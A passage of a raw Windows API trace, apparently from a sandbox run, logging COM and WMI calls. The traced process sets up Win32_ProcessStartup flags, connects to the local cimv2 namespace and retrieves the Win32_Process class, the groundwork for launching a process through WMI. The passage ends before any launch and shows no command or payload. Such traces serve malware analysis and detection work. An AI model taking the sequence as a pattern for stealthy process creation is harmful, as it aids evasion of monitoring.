(This=0x111f638) returned 0x1 [0090.683] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bece700) returned 0x0 [0090.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece700, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0090.683] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece700, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119b960) returned 0x0 [0090.683] WbemDefPath:IUnknown:Release (This=0x1bece700) returned 0x0 [0090.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119b960) returned 0x0 [0090.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0090.684] WbemDefPath:IUnknown:AddRef (This=0x119b960) returned 0x3 [0090.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0090.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0090.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bece720) returned 0x0 [0090.684] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.684] WbemDefPath:IUnknown:Release (This=0x1bece720) returned 0x3 [0090.684] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0090.684] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0090.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0090.684] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x2 [0090.684] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x1 [0090.684] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0090.684] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0090.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119b960) returned 0x0 [0090.684] WbemDefPath:IUnknown:AddRef (This=0x119b960) returned 0x3 [0090.684] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x2 [0090.684] WbemDefPath:IWbemPath:SetText (This=0x119b960, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0090.684] IWbemClassObject:Get (in: This=0x11fc720, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a12100*=0, plFlavor=0x2a12104*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a12100*=19, plFlavor=0x2a12104*=0) returned 0x0 [0090.685] IWbemClassObject:Get (in: This=0x11fc720, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a12100*=19, plFlavor=0x2a12104*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a12100*=19, plFlavor=0x2a12104*=0) returned 0x0 [0090.685] IWbemClassObject:Put (This=0x11fc720, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0090.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0090.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.685] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0090.685] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.685] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0090.685] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0090.685] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0090.685] IUnknown:Release (This=0x111f638) returned 0x1 [0090.687] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bece580) returned 0x0 [0090.687] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece580, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0090.687] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece580, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119b8a0) returned 0x0 [0090.687] WbemDefPath:IUnknown:Release (This=0x1bece580) returned 0x0 [0090.687] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119b8a0) returned 0x0 [0090.687] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0090.688] WbemDefPath:IUnknown:AddRef (This=0x119b8a0) returned 0x3 [0090.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0090.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0090.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bece5c0) returned 0x0 [0090.688] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece5c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.688] WbemDefPath:IUnknown:Release (This=0x1bece5c0) returned 0x3 [0090.688] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0090.688] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0090.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0090.688] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x2 [0090.688] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x1 [0090.688] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0090.688] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0090.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119b8a0) returned 0x0 [0090.688] WbemDefPath:IUnknown:AddRef (This=0x119b8a0) returned 0x3 [0090.688] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x2 [0090.688] WbemDefPath:IWbemPath:SetText (This=0x119b8a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0090.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0090.688] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0090.688] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.688] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0090.689] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0090.689] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0090.689] IUnknown:Release (This=0x111f638) returned 0x1 [0090.689] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bece940) returned 0x0 [0090.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece940, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0090.690] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bece940, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bece820) returned 0x0 [0090.690] WbemLocator:IUnknown:Release (This=0x1bece940) returned 0x0 [0090.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bece820) returned 0x0 [0090.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0090.690] WbemLocator:IUnknown:AddRef (This=0x1bece820) returned 0x3 [0090.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0090.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0090.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0090.690] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0090.690] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0090.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0090.691] WbemLocator:IUnknown:Release (This=0x1bece820) returned 0x2 [0090.691] WbemLocator:IUnknown:Release (This=0x1bece820) returned 0x1 [0090.691] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0090.691] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0090.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bece820) returned 0x0 [0090.691] WbemLocator:IUnknown:AddRef (This=0x1bece820) returned 0x3 [0090.691] WbemLocator:IUnknown:Release (This=0x1bece820) returned 0x2 [0090.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0090.691] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0090.691] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.691] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bece880) returned 0x0 [0090.691] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bece880, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bea7e60) returned 0x0 [0090.820] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7e60, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11defa0) returned 0x0 [0090.820] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11defa0, pProxy=0x1bea7e60, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0090.820] WbemLocator:IUnknown:Release (This=0x11defa0) returned 0x1 [0090.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7e60, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11defe0) returned 0x0 [0090.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7e60, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11defa0) returned 0x0 [0090.821] WbemLocator:IClientSecurity:SetBlanket (This=0x11defa0, pProxy=0x1bea7e60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0090.821] WbemLocator:IUnknown:Release (This=0x11defa0) returned 0x2 [0090.821] WbemLocator:IUnknown:Release (This=0x11defe0) returned 0x1 [0090.821] CoTaskMemFree (pv=0x1bf3c9e0) [0090.821] WbemLocator:IUnknown:AddRef (This=0x1bea7e60) returned 0x2 [0090.821] WbemLocator:IUnknown:Release (This=0x1bece880) returned 0x0 [0090.822] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0090.822] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0090.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7e60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11defb0) returned 0x0 [0090.822] WbemLocator:IRpcOptions:Query (in: This=0x11defb0, pPrx=0x1becf000, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0090.822] WbemLocator:IUnknown:Release (This=0x11defb0) returned 0x2 [0090.822] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0090.822] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0090.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7e60, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bea7e60) returned 0x0 [0090.822] WbemLocator:IUnknown:Release (This=0x1bea7e60) returned 0x2 [0090.822] SysStringLen (param_1=0x0) returned 0x0 [0090.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0090.823] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0090.823] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.823] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0090.823] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0090.823] IWbemServices:GetObject (in: This=0x1bea7e60, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11fca90, ppCallResult=0x0) returned 0x0 [0090.866] IWbemClassObject:Get (in: This=0x11fca90, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0090.866] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0090.866] SysStringByteLen 